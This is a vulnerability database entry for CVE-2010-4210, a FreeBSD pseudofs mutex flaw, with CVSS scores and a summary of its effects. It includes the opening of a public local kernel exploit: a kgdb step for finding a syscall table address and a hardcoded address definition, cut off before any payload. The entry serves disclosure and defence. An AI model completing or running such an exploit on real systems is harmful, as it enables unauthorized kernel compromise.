7.8
CVSSv3

CVE-2010-4210

Published: 22/11/2010 Updated: 15/02/2024
CVSS v2 Base Score: 7.2 | Impact Score: 10 | Exploitability Score: 3.9
CVSS v3 Base Score: 7.8 | Impact Score: 5.9 | Exploitability Score: 1.8
VMScore: 725
Vector: AV:L/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

The pfs_getextattr function in FreeBSD 7.x prior to 7.3-RELEASE and 8.x prior to 8.0-RC1 unlocks a mutex that was not previously locked, which allows local users to cause a denial of service (kernel panic), overwrite arbitrary memory locations, and possibly execute arbitrary code via vectors related to opening a file on a file system that uses pseudofs.

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Exploits

/* * source: wwwsecurityfocuscom/bid/43060/info * 18082010, babcia padlina * FreeBSD 70 - 72 pseudofs null ptr dereference exploit * * * to obtain SYSENT8_SYCALL_ADDR, run: * $ kgdb /boot/kernel/kernel * (kgdb) print &sysent[8]sy_call */ #define SYSENT8_SYCALL_ADDR 0xc0c4afa4 /* FreeBSD 72-RELEASE */ #define _KERNEL ...